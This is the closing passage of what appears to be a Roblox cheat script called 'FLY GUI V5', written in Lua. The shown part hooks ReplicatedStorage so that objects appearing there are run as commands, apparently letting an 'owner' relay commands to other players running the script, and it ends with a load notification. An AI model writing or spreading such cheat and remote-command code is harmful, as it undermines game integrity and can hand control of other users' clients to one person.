pcall(function() handleCmd(d[1],d[2],d[3],d[4]) end) end) end end ReplicatedStorage.ChildAdded:Connect(tryCmdValue) -- Scan existing (in case late execution) for _,v in ipairs(ReplicatedStorage:GetChildren()) do pcall(function() tryCmdValue(v) end) end end -- Notification pcall(function() StarterGui:SetCore("SendNotification",{Title="FLY GUI V5",Text="Loaded. Tap the cube to open.",Duration=5}) end) print("[FLY GUI V5] Loaded | Owner:",isOwner)